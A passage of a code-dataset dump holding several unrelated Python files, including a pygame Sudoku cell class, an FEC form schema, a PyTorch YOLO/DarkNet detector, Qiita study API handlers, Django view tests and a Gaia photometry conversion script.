jobGraph1.stack = [[jobGraph2]]\n self.assertEqual(None, nextChainableJobGraph(jobGraph1, self.jobStore))\n","sub_path":"src/toil/test/src/workerTest.py","file_name":"workerTest.py","file_ext":"py","file_size_in_byte":4403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"497592850","text":"import pygame\n\nblack = (0, 0, 0)\ncurrentCellColour = (117, 255, 205)\nwhite = (255, 255, 255, 255)\ndigitColour = (255, 46, 46)\n\n\nclass SudokuCell:\n\tdef __init__(self, number=None, offsetX=0, offsetY=0, edit=True, xLoc=0, yLoc=0):\n\n\t\tif number == 0:\n\t\t\tnumber = \"\"\n\t\t\n\t\tself.__font = pygame.font.Font(None, 30)\n\t\tself.__text = self.__font.render(str(number), 1, black)\n\t\tself.__textpos = self.__text.get_rect()\n\t\tself.__textpos = self.__textpos.move(offsetX + 12, offsetY + 6)\n\n\t\tself.__collide = pygame.Surface((40, 40))\n\t\tself.__collide = self.__collide.convert()\n\t\tself.__collide.fill(white)\n\t\tself.__collideRect = self.__collide.get_rect()\n\t\tself.__collideRect = self.__collideRect.move(offsetX + 1, offsetY + 1)\n\n\t\tself.__edit = edit\n\t\tself.__xLoc = xLoc\n\t\tself.__yLoc = yLoc\n\n\n\tdef highlightCell(self):\n\t\tself.__collide.fill(currentCellColour)\n\t\tself.draw()\n\n\n\tdef unhighlightCell(self):\n\t\tself.__collide.fill(white)\n\t\tself.draw()\n\n\n\tdef draw(self):\n\t\tscreen = pygame.display.get_surface()\n\t\tscreen.blit(self.__collide, self.__collideRect)\n\t\tscreen.blit(self.__text, self.__textpos)\n\n\n\tdef changeCell(self, number):\n\t\tif self.__edit == True:\n\t\t\tself.__text = self.__font.render(str(number), 1, digitColour)\n\t\t\tself.draw()\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\n\tdef checkCollide(self, collision):\n\t\tif len(collision) == 2:\n\t\t\treturn self.__collideRect.collidepoint(collision)\n\t\telif len(collision) == 4:\n\t\t\treturn self.__collideRect.colliderect(collision)\n\t\telse:\n\t\t\treturn False\n\n\n\tdef currentCellLocation(self):\n\t\treturn self.__xLoc, self.__yLoc","sub_path":"SudokuCell.py","file_name":"SudokuCell.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"588075211","text":"import fechbase\nclass Records(fechbase.RecordsBase):\n def __init__(self):\n fechbase.RecordsBase.__init__(self)\n self.fields = [\n {'name': 'FORM TYPE', 'number': '1'},\n {'name': \"FILER'S FEC ID NUMBER\", 'number': '2'},\n {'name': 'ENTITY TYPE', 'number': '3'},\n {'name': 'ORGANIZATION NAME', 'number': '4'},\n {'name': 'INDIVIDUAL LAST NAME', 'number': '5'},\n {'name': 'INDIVIDUAL FIRST NAME', 'number': '6'},\n {'name': 'INDIVIDUAL MIDDLE NAME', 'number': '7'},\n {'name': 'INDIVIDUAL PREFIX', 'number': '8'},\n {'name': 'INDIVIDUAL SUFFIX', 'number': '9'},\n {'name': 'CHANGE OF ADDRESS', 'number': '10'},\n {'name': 'STREET 1', 'number': '11'},\n {'name': 'STREET 2', 'number': '12'},\n {'name': 'CITY', 'number': '13'},\n {'name': 'STATE', 'number': '14'},\n {'name': 'ZIP', 'number': '15'},\n {'name': 'Qualified Non-Profit Corporation', 'number': '16-'},\n {'name': 'INDIVIDUAL EMPLOYER', 'number': '17'},\n {'name': 'INDIVIDUAL OCCUPATION', 'number': '18'},\n {'name': 'REPORT CODE', 'number': '19'},\n {'name': 'HOUR 48HOUR CODE', 'number': '20-24'},\n {'name': 'COVERAGE FROM DATE', 'number': '21'},\n {'name': 'COVERAGE THROUGH DATE', 'number': '22'},\n {'name': 'TOTAL CONTRIBUTION', 'number': '23'},\n {'name': 'TOTAL INDEPENDENT EXPENDITURE', 'number': '24'},\n {'name': 'PERSON COMPLETING LAST NAME', 'number': '25'},\n {'name': 'PERSON COMPLETING FIRST NAME', 'number': '26'},\n {'name': 'PERSON COMPLETING MIDDLE NAME', 'number': '27'},\n {'name': 'PERSON COMPLETING PREFIX', 'number': '28'},\n {'name': 'PERSON COMPLETING SUFFIX', 'number': '29'},\n {'name': 'DATE SIGNED', 'number': '30'},\n ]\n self.fields_names = self.hash_names(self.fields)\n","sub_path":"fec/version/v6_3/F5.py","file_name":"F5.py","file_ext":"py","file_size_in_byte":1991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"568744446","text":"from __future__ import division\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nimport numpy as np\n\nfrom utils.utils import build_targets, to_cpu, non_max_suppression\n\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\n\nclass YOLOLayer(nn.Module):\n \"\"\"Detection layer\"\"\"\n\n def __init__(self, anchors, num_classes, img_dim=416, debug=False):\n super(YOLOLayer, self).__init__()\n self.anchors = anchors\n self.num_anchors = len(anchors)\n self.num_classes = num_classes\n self.ignore_thres = 0.5\n self.mse_loss = nn.MSELoss()\n self.bce_loss = nn.BCELoss()\n self.obj_scale = 1\n self.noobj_scale = 100\n self.metrics = {}\n self.debug = debug\n self.img_dim = img_dim\n self.grid_size = 0 # grid size\n\n def compute_grid_offsets(self, grid_size, cuda=True):\n self.grid_size = grid_size\n g = self.grid_size\n FloatTensor = torch.cuda.FloatTensor if cuda else torch.FloatTensor\n self.stride = self.img_dim / self.grid_size\n # Calculate offsets for each grid\n self.grid_x = torch.arange(g).repeat(g, 1).view([1, 1, g, g]).type(FloatTensor)\n self.grid_y = torch.arange(g).repeat(g, 1).t().view([1, 1, g, g]).type(FloatTensor)\n self.scaled_anchors = FloatTensor([(a_w / self.stride, a_h / self.stride) for a_w, a_h in self.anchors])\n self.anchor_w = self.scaled_anchors[:, 0:1].view((1, self.num_anchors, 1, 1))\n self.anchor_h = self.scaled_anchors[:, 1:2].view((1, self.num_anchors, 1, 1))\n\n def forward(self, x, targets=None, img_dim=None):\n\n # Tensors for cuda support\n FloatTensor = torch.cuda.FloatTensor if x.is_cuda else torch.FloatTensor\n LongTensor = torch.cuda.LongTensor if x.is_cuda else torch.LongTensor\n ByteTensor = torch.cuda.ByteTensor if x.is_cuda else torch.ByteTensor\n\n self.img_dim = img_dim\n num_samples = x.size(0)\n grid_size = x.size(2)\n\n prediction = (\n x.view(num_samples, self.num_anchors, self.num_classes + 5, grid_size, grid_size)\n .permute(0, 1, 3, 4, 2)\n .contiguous()\n )\n\n # Get outputs\n x = torch.sigmoid(prediction[..., 0]) # Center x\n y = torch.sigmoid(prediction[..., 1]) # Center y\n w = prediction[..., 2] # Width\n h = prediction[..., 3] # Height\n pred_conf = torch.sigmoid(prediction[..., 4]) # Conf\n pred_cls = torch.sigmoid(prediction[..., 5:]) # Cls pred.\n\n # If grid size does not match current we compute new offsets\n if grid_size != self.grid_size:\n self.compute_grid_offsets(grid_size, cuda=x.is_cuda)\n\n # Add offset and scale with anchors\n pred_boxes = FloatTensor(prediction[..., :4].shape)\n pred_boxes[..., 0] = x.data + self.grid_x\n pred_boxes[..., 1] = y.data + self.grid_y\n pred_boxes[..., 2] = torch.exp(w.data) * self.anchor_w\n pred_boxes[..., 3] = torch.exp(h.data) * self.anchor_h\n\n output = torch.cat(\n (\n pred_boxes.view(num_samples, -1, 4) * self.stride,\n pred_conf.view(num_samples, -1, 1),\n pred_cls.view(num_samples, -1, self.num_classes),\n ),\n -1,\n )\n\n if targets is None:\n return output, 0\n else:\n iou_scores, class_mask, obj_mask, noobj_mask, tx, ty, tw, th, tcls, tconf = build_targets(\n pred_boxes=pred_boxes,\n pred_cls=pred_cls,\n target=targets,\n anchors=self.scaled_anchors,\n ignore_thres=self.ignore_thres,\n )\n # Loss : Mask outputs to ignore non-existing objects (except with conf. loss)\n loss_x = self.mse_loss(x[obj_mask], tx[obj_mask])\n loss_y = self.mse_loss(y[obj_mask], ty[obj_mask])\n loss_w = self.mse_loss(w[obj_mask], tw[obj_mask])\n loss_h = self.mse_loss(h[obj_mask], th[obj_mask])\n loss_conf_obj = self.bce_loss(pred_conf[obj_mask], tconf[obj_mask])\n loss_conf_noobj = self.bce_loss(pred_conf[noobj_mask], tconf[noobj_mask])\n loss_conf = self.obj_scale * loss_conf_obj + self.noobj_scale * loss_conf_noobj\n loss_cls = self.bce_loss(pred_cls[obj_mask], tcls[obj_mask])\n total_loss = loss_x + loss_y + loss_w + loss_h + loss_conf + loss_cls\n if self.debug:\n \tprint('Total Loss: %f' % total_loss, 'Loss x: %f' % loss_x.data, 'Loss y: %f' % loss_y.data, 'Loss w: %f' % loss_w.data, 'Loss h: %f' % loss_h.data, 'Loss conf obj: %f' % loss_conf_obj.data, 'Loss conf no obj: %f' % loss_conf_noobj.data, 'Loss conf : %f' % loss_conf.data, 'Loss cls: %f' %loss_cls.data)\n # Metrics\n cls_acc = 100 * class_mask[obj_mask].mean()\n conf_obj = pred_conf[obj_mask].mean()\n conf_noobj = pred_conf[noobj_mask].mean()\n conf50 = (pred_conf > 0.5).float()\n iou50 = (iou_scores > 0.5).float()\n iou75 = (iou_scores > 0.75).float()\n detected_mask = conf50 * class_mask * tconf\n precision = torch.sum(iou50 * detected_mask) / (conf50.sum() + 1e-16)\n recall50 = torch.sum(iou50 * detected_mask) / (obj_mask.sum() + 1e-16)\n recall75 = torch.sum(iou75 * detected_mask) / (obj_mask.sum() + 1e-16)\n\n self.metrics = {\n \"loss\": to_cpu(total_loss).item(),\n \"x\": to_cpu(loss_x).item(),\n \"y\": to_cpu(loss_y).item(),\n \"w\": to_cpu(loss_w).item(),\n \"h\": to_cpu(loss_h).item(),\n \"conf\": to_cpu(loss_conf).item(),\n \"cls\": to_cpu(loss_cls).item(),\n \"cls_acc\": to_cpu(cls_acc).item(),\n \"recall50\": to_cpu(recall50).item(),\n \"recall75\": to_cpu(recall75).item(),\n \"precision\": to_cpu(precision).item(),\n \"conf_obj\": to_cpu(conf_obj).item(),\n \"conf_noobj\": to_cpu(conf_noobj).item(),\n \"grid_size\": grid_size,\n }\n\n return output, total_loss\n\n\nclass DarkNet(nn.Module):\n\n\tdef __init__(self, debug=False):\n\t\tsuper(DarkNet, self).__init__()\n\n\t\tself.bn1 = nn.BatchNorm2d(16, momentum=0.9, eps=1e-5)\n\t\tself.bn2 = nn.BatchNorm2d(32, momentum=0.9, eps=1e-5)\n\t\tself.bn3 = nn.BatchNorm2d(64, momentum=0.9, eps=1e-5)\n\t\tself.bn4 = nn.BatchNorm2d(128, momentum=0.9, eps=1e-5)\n\t\tself.bn5 = nn.BatchNorm2d(256, momentum=0.9, eps=1e-5)\n\t\tself.bn6 = nn.BatchNorm2d(512, momentum=0.9, eps=1e-5)\n\t\tself.bn7 = nn.BatchNorm2d(1024, momentum=0.9, eps=1e-5)\n\n\t\t#pathway 1\n\t\tself.bn8p1 = nn.BatchNorm2d(256, momentum=0.9, eps=1e-5)\n\t\tself.bn9p1 = nn.BatchNorm2d(512, momentum=0.9, eps=1e-5)\n\t\tself.bn10p1 = nn.BatchNorm2d(18, momentum=0.9, eps=1e-5)\n\n\t\t#pathway2\n\t\tself.bn8p2 = nn.BatchNorm2d(128, momentum=0.9, eps=1e-5)\n\t\tself.bn9p2 = nn.BatchNorm2d(256, momentum=0.9, eps=1e-5)\n\n\n\t\tself.conv1 = nn.Sequential(nn.Conv2d(3, 16, kernel_size = 3, stride=1, padding=1, bias=False),\n\t\t\t\t\t\t\t\t self.bn1,\n\t\t\t\t\t\t\t\t nn.LeakyReLU(.1),\n\t\t\t\t\t\t\t\t \n\t\t\t\t\n\t\t\t\t \t\t\t\t )\n\n\t\tself.conv2 = nn.Sequential(nn.Conv2d(16, 32, kernel_size = 3, stride=1, padding=1, bias=False),\n\t\t\t\t\t\t\t\t self.bn2,\n\t\t\t\t\t\t\t\t nn.LeakyReLU(.1),\n\t\t\t\t\n\t\t\t\t \t\t\t\t )\n\n\t\tself.conv3 = nn.Sequential(nn.Conv2d(32, 64, kernel_size = 3, stride=1, padding=1, bias=False),\n\t\t\t\t\t\t\t\t self.bn3,\n\t\t\t\t\t\t\t\t nn.LeakyReLU(.1),\n\t\t\t\t\n\t\t\t\t \t\t\t\t )\n\n\t\tself.conv4 = nn.Sequential(nn.Conv2d(64, 128, kernel_size = 3, stride=1, padding=1, bias=False),\n\t\t\t\t\t\t\t\t self.bn4,\n\t\t\t\t\t\t\t\t nn.LeakyReLU(.1),\n\t\t\t\t\n\t\t\t\t \t\t\t\t )\n\n\t\tself.conv5 = nn.Sequential(nn.Conv2d(128, 256, kernel_size = 3, stride=1, padding=1, bias=False),\n\t\t\t\t\t\t\t\t self.bn5,\n\t\t\t\t\t\t\t\t nn.LeakyReLU(.1),\n\t\t\t\t\n\t\t\t\t \t\t\t\t )\n\n\t\tself.conv6 = nn.Sequential(nn.Conv2d(256, 512, kernel_size = 3, stride=1, padding=1, bias=False),\n\t\t\t\t\t\t\t\t self.bn6,\n\t\t\t\t\t\t\t\t nn.LeakyReLU(.1),\n\t\t\t\t\n\t\t\t\t \t\t\t\t )\n\t\tself.zeropad = nn.ZeroPad2d(padding=(0,1,0,1))\n\n\n\t\tself.conv7 = nn.Sequential(nn.Conv2d(512, 1024, kernel_size = 3, stride=1, padding=1, bias=False),\n\t\t\t\t\t\t\t\t self.bn7,\n\t\t\t\t\t\t\t\t nn.LeakyReLU(.1),\n\t\t\t\t \t\t\t\t )\n\n\n\t\t#pathway one\n\n\t\tself.conv8p1 = nn.Sequential(nn.Conv2d(1024, 256, kernel_size = 1, stride=1, bias=False),\n\t\t\t\t\t\t\t\t self.bn8p1,\n\t\t\t\t\t\t\t\t nn.LeakyReLU(.1),\n\t\t\t\t \t\t\t\t )\n\t\tself.conv9p1 = nn.Sequential(nn.Conv2d(256, 512, kernel_size = 3, stride=1, padding=1, bias=False),\n\t\t\t\t\t\t\t\t self.bn9p1,\n\t\t\t\t\t\t\t\t nn.LeakyReLU(.1),\n\t\t\t\t \t\t\t\t )\n\t\tself.conv10p1 = nn.Sequential(nn.Conv2d(512, 18, kernel_size = 1, stride=1, bias=False),\n\t\t\t\t\t\t\t\t \t )\n\n\t\tself.yolo1 = YOLOLayer(anchors=[(81,82), (135,169), (344,319)], num_classes=1, debug=debug)\n\t\t# self.yolo1 = YOLOLayer(anchors=[(81,82)], num_classes=1, debug=debug)\n\n\n\t\t#pathway two\n\n\t\tself.conv8p2 = nn.Sequential(nn.Conv2d(256, 128, kernel_size = 1, stride=1, bias=False),\n\t\t\t\t\t\t\t\t self.bn8p2,\n\t\t\t\t\t\t\t\t nn.LeakyReLU(.1),\n\t\t\t\t \t\t\t\t )\n\n\t\tself.conv9p2 = nn.Sequential(nn.Conv2d(384, 256, kernel_size = 3, stride=1, padding=1, bias=False),\n\t\t\t\t\t\t\t\t self.bn9p2,\n\t\t\t\t\t\t\t\t nn.LeakyReLU(.1),\n\t\t\t\t \t\t\t\t )\n\n\t\tself.conv10p2 = nn.Sequential(nn.Conv2d(256, 18, kernel_size = 1, stride=1, padding=1, bias=False),\n\t\t\t\t \t\t\t\t )\n\n\t\tself.yolo2 = YOLOLayer(anchors=[(23,27), (37,58), (81,82)], num_classes=1)\n\n\n\tdef forward(self, x, targets=None):\n\n\t\tyolo_outputs = []\n\t\tloss = 0\n\t\timg_dim = x.shape[2]\n\t\t# print(\"Start: \", x.shape)\n\t\tx = self.conv1(x)\n\t\t# print(\"Conv 1: \", x.shape)\n\t\tx = nn.MaxPool2d(kernel_size = 2, stride = 2)(x)\n\t\t# print(\"After Maxpool: \", x.shape)\n\t\tx = self.conv2(x)\n\t\t# print(\"Conv 2: \", x.shape)\n\t\tx = nn.MaxPool2d(kernel_size = 2, stride = 2)(x)\n\t\t# print(\"After Maxpool: \", x.shape)\n\t\tx = self.conv3(x)\n\t\t# print(\"Conv 3: \", x.shape)\n\t\tx = nn.MaxPool2d(kernel_size = 2, stride = 2)(x)\n\t\t# print(\"After Maxpool: \", x.shape)\n\t\tx = self.conv4(x)\n\t\t# print(\"Conv 4: \", x.shape)\n\t\tx = nn.MaxPool2d(kernel_size = 2, stride = 2)(x)\n\t\t# print(\"After Maxpool: \", x.shape)\n\t\tx = self.conv5(x)\n\t\tx_f128 = x\n\t\t# print(\"Conv 5: \", x.shape)\n\t\tx = nn.MaxPool2d(kernel_size = 2, stride = 2)(x)\n\t\t# print(\"After Maxpool: \", x.shape)\n\t\tx = self.conv6(x)\n\t\t# print(\"Conv 6: \", x.shape)\n\t\tx = self.zeropad(x)\n\t\t# print(\"Conv 6 After Zero Pad: \", x.shape)\n\t\tx = nn.MaxPool2d(kernel_size = 2, stride = 1)(x)\n\t\t# print(\"After Maxpool: \", x.shape)\n\t\tx = self.conv7(x)\n\t\t# print(\"Conv 7: \", x.shape)\n\t\t\n\n\t\t#pathway 1\n\t\tx = self.conv8p1(x)\n\t\tx_f256 = x\n\t\t# print(\"Conv 8 P1: \", x.shape)\n\t\tx = self.conv9p1(x)\n\t\t# print(\"Conv 9 P1: \", x.shape)\n\t\tx = self.conv10p1(x)\n\t\tself.yolo1_inp = x\n\t\t# print(\"Conv 10 P1: \", x.shape, targets.shape)\n\t\tx, layer_loss = self.yolo1(x, targets, img_dim)\n\t\tloss += layer_loss\n\t\tyolo_outputs.append(x)\n\t\t# print(\"YOLO OUTPUT: \", x)\n\n\t\t#pathway 2\n\t\tx = self.conv8p2(x_f256)\n\t\t# print(\"Conv 8 P2: \", x.shape)\n\t\tx = torch.nn.functional.interpolate(x, scale_factor=2, mode=\"nearest\")\n\t\t# print(\"X Shape: \", x.shape)\n\t\t# print(\"X_f128 Shape: \", x_f128.shape)\n\t\t# p2d = (1, 1, 1, 1)\n\t\t# x_f128 = F.pad(x_f128, p2d, 'constant', 0)\n\t\t# print(\"X_f128 Shape After Padding: \", x_f128.shape)\n\t\tx = torch.cat((x, x_f128), dim=1)\n\t\tx = self.conv9p2(x)\n\t\t# print(\"Conv 9 P2: \", x.shape)\n\t\tx = self.conv10p2(x)\n\t\t# print(\"Conv 10 P2: \", x.shape, targets.shape)\n\t\tx, layer_loss = self.yolo2(x, targets, img_dim)\n\t\tloss += layer_loss\n\t\tyolo_outputs.append(x)\n\t\t# print(\"YOLO OUTPUT: \", x)\n\n\t\tyolo_outputs = to_cpu(torch.cat(yolo_outputs, 1))\n\t\t# print(\"YOLO OUTPUTS:\", yolo_outputs)\n\t\treturn yolo_outputs if targets is None else (loss, yolo_outputs)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"People Detection/darknet.py","file_name":"darknet.py","file_ext":"py","file_size_in_byte":11722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"429573201","text":"# -----------------------------------------------------------------------------\n# Copyright (c) 2014--, The Qiita Development Team.\n#\n# Distributed under the terms of the BSD 3-clause License.\n#\n# The full license is in the file LICENSE, distributed with this software.\n# -----------------------------------------------------------------------------\nfrom __future__ import division\nfrom collections import defaultdict\n\nfrom future.utils import viewitems\n\nfrom qiita_db.user import User\nfrom qiita_db.study import Study\nfrom qiita_db.metadata_template.prep_template import PrepTemplate\nfrom qiita_db.util import (supported_filepath_types,\n get_files_from_uploads_folders)\nfrom qiita_pet.handlers.api_proxy.util import check_access\n\n\ndef data_types_get_req():\n \"\"\"Returns data types available in the system\n\n Returns\n -------\n dict\n Data types information in the form\n {'status': status,\n 'message': message,\n 'data_types': list of str}\n status can be success, warning, or error depending on result\n message has the warnings or errors\n data_types is the list of available data types in the system\n \"\"\"\n return {'status': 'success',\n 'message': '',\n 'data_types': Study.all_data_types()\n }\n\n\ndef study_get_req(study_id, user_id):\n \"\"\"Returns information available for the given study\n\n Parameters\n ----------\n study_id : int\n Study id to get prep template info for\n user_id : str\n User requesting the info\n\n Returns\n -------\n dict\n Data types information in the form\n {'status': status,\n 'message': message,\n 'info': dict of objects\n status can be success, warning, or error depending on result\n message has the warnings or errors\n info contains study information seperated by data type, in the form\n {col_name: value, ...} with value being a string, int, or list of\n strings or ints\n \"\"\"\n access_error = check_access(study_id, user_id)\n if access_error:\n return access_error\n # Can only pass ids over API, so need to instantiate object\n study = Study(study_id)\n study_info = study.info\n # Add needed info that is not part of the initial info pull\n study_info['publications'] = study.publications\n study_info['study_id'] = study.id\n study_info['study_title'] = study.title\n study_info['shared_with'] = [s.id for s in study.shared_with]\n study_info['status'] = study.status\n study_info['ebi_study_accession'] = study.ebi_study_accession\n study_info['ebi_submission_status'] = study.ebi_submission_status\n\n # Clean up StudyPerson objects to string for display\n pi = study_info['principal_investigator']\n study_info['principal_investigator'] = {\n 'name': pi.name,\n 'email': pi.email,\n 'affiliation': pi.affiliation}\n\n lab_person = study_info['lab_person']\n if lab_person:\n study_info['lab_person'] = {\n 'name': lab_person.name,\n 'email': lab_person.email,\n 'affiliation': lab_person.affiliation}\n\n samples = study.sample_template\n study_info['num_samples'] = 0 if samples is None else len(list(samples))\n study_info['owner'] = study.owner.id\n\n return {'status': 'success',\n 'message': '',\n 'study_info': study_info,\n 'editable': study.can_edit(User(user_id))}\n\n\ndef study_delete_req(study_id, user_id):\n \"\"\"Delete a given study\n\n Parameters\n ----------\n study_id : int\n Study id to delete\n user_id : str\n User requesting the deletion\n\n Returns\n -------\n dict\n Status of deletion, in the format\n {status: status,\n message: message}\n \"\"\"\n access_error = check_access(study_id, user_id)\n if access_error:\n return access_error\n\n status = 'success'\n try:\n Study.delete(int(study_id))\n msg = ''\n except Exception as e:\n status = 'error'\n msg = 'Unable to delete study: %s' % str(e)\n return {\n 'status': status,\n 'message': msg\n }\n\n\ndef study_prep_get_req(study_id, user_id):\n \"\"\"Gives a summary of each prep template attached to the study\n\n Parameters\n ----------\n study_id : int\n Study id to get prep template info for\n user_id : str\n User id requesting the prep templates\n\n Returns\n -------\n dict of list of dict\n prep template information seperated by data type, in the form\n {data_type: [{prep 1 info dict}, ....], ...}\n \"\"\"\n access_error = check_access(study_id, user_id)\n if access_error:\n return access_error\n # Can only pass ids over API, so need to instantiate object\n study = Study(int(study_id))\n prep_info = defaultdict(list)\n editable = study.can_edit(User(user_id))\n for dtype in study.data_types:\n for prep in study.prep_templates(dtype):\n if prep.status != 'public' and not editable:\n continue\n start_artifact = prep.artifact\n info = {\n 'name': 'PREP %d NAME' % prep.id,\n 'id': prep.id,\n 'status': prep.status,\n }\n if start_artifact is not None:\n youngest_artifact = prep.artifact.youngest_artifact\n info['start_artifact'] = start_artifact.artifact_type\n info['start_artifact_id'] = start_artifact.id\n info['youngest_artifact'] = '%s - %s' % (\n youngest_artifact.name, youngest_artifact.artifact_type)\n info['ebi_experiment'] = bool(\n [v for _, v in viewitems(prep.ebi_experiment_accessions)\n if v is not None])\n else:\n info['start_artifact'] = None\n info['start_artifact_id'] = None\n info['youngest_artifact'] = None\n info['ebi_experiment'] = False\n\n prep_info[dtype].append(info)\n\n return {'status': 'success',\n 'message': '',\n 'info': prep_info}\n\n\ndef study_files_get_req(user_id, study_id, prep_template_id, artifact_type):\n \"\"\"Returns the uploaded files for the study id categorized by artifact_type\n\n It retrieves the files uploaded for the given study and tries to do a\n guess on how those files should be added to the artifact of the given\n type. Uses information on the prep template to try to do a better guess.\n\n Parameters\n ----------\n user_id : str\n The id of the user making the request\n study_id : int\n The study id\n prep_template_id : int\n The prep template id\n artifact_type : str\n The artifact type\n\n Returns\n -------\n dict of {str: object}\n A dict of the form {'status': str,\n 'message': str,\n 'remaining': list of str,\n 'file_types': list of (str, bool, list of str),\n 'num_prefixes': int}\n where 'status' is a string specifying whether the query is successfull,\n 'message' is a human-readable description of the error (optional),\n 'remaining' is the list of files that could not be categorized,\n 'file_types' is a list of the available filetypes, if it is required\n or not and the list of categorized files for the given artifact type\n and 'num_prefixes' is the number of different run prefix values in\n the given prep template.\n \"\"\"\n supp_file_types = supported_filepath_types(artifact_type)\n selected = []\n remaining = []\n\n uploaded = get_files_from_uploads_folders(study_id)\n pt = PrepTemplate(prep_template_id).to_dataframe()\n\n ftypes_if = (ft.startswith('raw_') for ft, _ in supp_file_types\n if ft != 'raw_sff')\n if any(ftypes_if) and 'run_prefix' in pt.columns:\n prep_prefixes = tuple(set(pt['run_prefix']))\n num_prefixes = len(prep_prefixes)\n for _, filename in uploaded:\n if filename.startswith(prep_prefixes):\n selected.append(filename)\n else:\n remaining.append(filename)\n else:\n num_prefixes = 0\n remaining = [f for _, f in uploaded]\n\n # At this point we can't do anything smart about selecting by default\n # the files for each type. The only thing that we can do is assume that\n # the first in the supp_file_types list is the default one where files\n # should be added in case of 'run_prefix' being present\n file_types = [(fp_type, req, []) for fp_type, req in supp_file_types[1:]]\n first = supp_file_types[0]\n # Note that this works even if `run_prefix` is not in the prep template\n # because selected is initialized to the empty list\n file_types.insert(0, (first[0], first[1], selected))\n\n # Create a list of artifacts that the user has access to, in case that\n # he wants to import the files from another artifact\n user = User(user_id)\n artifact_options = []\n user_artifacts = user.user_artifacts(artifact_type=artifact_type)\n study = Study(study_id)\n if study not in user_artifacts:\n user_artifacts[study] = study.artifacts(artifact_type=artifact_type)\n for study, artifacts in viewitems(user_artifacts):\n study_label = \"%s (%d)\" % (study.title, study.id)\n for a in artifacts:\n artifact_options.append(\n (a.id, \"%s - %s (%d)\" % (study_label, a.name, a.id)))\n\n return {'status': 'success',\n 'message': '',\n 'remaining': sorted(remaining),\n 'file_types': file_types,\n 'num_prefixes': num_prefixes,\n 'artifacts': artifact_options}\n","sub_path":"qiita_pet/handlers/api_proxy/studies.py","file_name":"studies.py","file_ext":"py","file_size_in_byte":9764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"98556843","text":"import json\n\nimport pytest\nfrom django.http import Http404\nfrom django.test import RequestFactory, override_settings\n\nfrom schema_graph.schema import get_schema\nfrom schema_graph.views import Schema\n\n\ndef create_request():\n return RequestFactory().get(\"/ignored/\")\n\n\ndef test_context():\n \"\"\"The schema should be available in the template context.\"\"\"\n request = create_request()\n view = Schema(request=request)\n context = view.get_context_data()\n schema = get_schema()\n assert context[\"models\"] == json.dumps(schema.models)\n assert context[\"foreign_keys\"] == json.dumps(schema.foreign_keys)\n assert context[\"many_to_manys\"] == json.dumps(schema.many_to_manys)\n assert context[\"one_to_ones\"] == json.dumps(schema.one_to_ones)\n assert context[\"inheritance\"] == json.dumps(schema.inheritance)\n assert context[\"proxies\"] == json.dumps(schema.proxies)\n\n\ndef test_content():\n \"\"\"The page should be rendered.\"\"\"\n view = Schema.as_view()\n request = create_request()\n with override_settings(DEBUG=True):\n response = view(request)\n\n assert response.rendered_content.startswith(\"\")\n\n\ndef test_debug():\n \"\"\"Schema should be accessible in DEBUG mode.\"\"\"\n view = Schema.as_view()\n request = create_request()\n with override_settings(DEBUG=True):\n response = view(request)\n assert response.status_code == 200\n\n\ndef test_no_debug():\n \"\"\"Schema should be inaccessible outwith DEBUG mode.\"\"\"\n view = Schema.as_view()\n request = create_request()\n with override_settings(DEBUG=False):\n with pytest.raises(Http404):\n view(request)\n","sub_path":"tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":1633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"174170096","text":"# Convert the files from .csv.gz to .fits\n\nfrom __future__ import division, print_function\nimport sys, os, glob, time, warnings, gc\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom astropy.table import Table, vstack, hstack, join\nimport fitsio\n\nimport healpy as hp\nfrom multiprocessing import Pool\n\noutput_dir = '/global/cfs/cdirs/desi/users/rongpu/data/gaia_dr3/xp_synthetic_decam_photometry/'\nphot_fns = sorted(glob.glob('/global/cfs/cdirs/desi/users/rongpu/data/gaia_dr3/xp_synthetic_decam_photometry/hardtouseformat/XpSyntheticDECam_*.fits'))\nprint(len(phot_fns))\n\nhp_firsts, hp_lasts = [], []\nfor fn in phot_fns:\n hp_first, hp_last = [int(ii) for ii in os.path.basename(fn).replace('XpSyntheticDECam_', '').replace('.fits', '').split('-')]\n # print(hp_first, hp_last)\n hp_firsts.append(hp_first)\n hp_lasts.append(hp_last)\nhp_firsts, hp_lasts = np.array(hp_firsts), np.array(hp_lasts)\n\ngaia_fns = sorted(glob.glob('/global/cfs/cdirs/cosmo/data/gaia/edr3/healpix/healpix-*.fits'))\n\n\ndef do_something(fn):\n\n gaia = Table(fitsio.read(fn, columns=['SOURCE_ID', 'RA', 'DEC']))\n\n hp_32 = int(os.path.basename(fn).replace('healpix-', '').replace('.fits', ''))\n npix = hp.nside2npix(32)\n tmp = np.full(npix, False)\n tmp[hp_32] = True\n hp_256_list = np.where(hp.ud_grade(tmp, 256, order_in='NESTED', order_out='NESTED'))[0]\n\n mask = np.full(len(phot_fns), False)\n for hp_256 in hp_256_list:\n mask |= (hp_256>=hp_firsts) & (hp_256<=hp_lasts)\n\n file_idx = np.where(mask)[0]\n print(len(file_idx))\n\n cat = []\n for ii in file_idx:\n cat.append(Table(fitsio.read(phot_fns[ii])))\n cat = vstack(cat)\n\n mask = np.in1d(cat['source_id'], gaia['SOURCE_ID'])\n cat = cat[mask]\n\n mask = np.in1d(gaia['SOURCE_ID'], cat['source_id'])\n gaia = gaia[mask]\n\n if len(gaia)!=len(cat) or not np.all(np.unique(gaia['SOURCE_ID'])==np.unique(cat['source_id'])):\n raise ValueError('gaia and cat have different source_id list')\n\n if not all(cat['source_id']==gaia['SOURCE_ID']):\n # Matching cat to gaia\n t1_reverse_sort = np.array(gaia['SOURCE_ID']).argsort().argsort()\n cat = cat[np.argsort(cat['source_id'])[t1_reverse_sort]]\n\n # 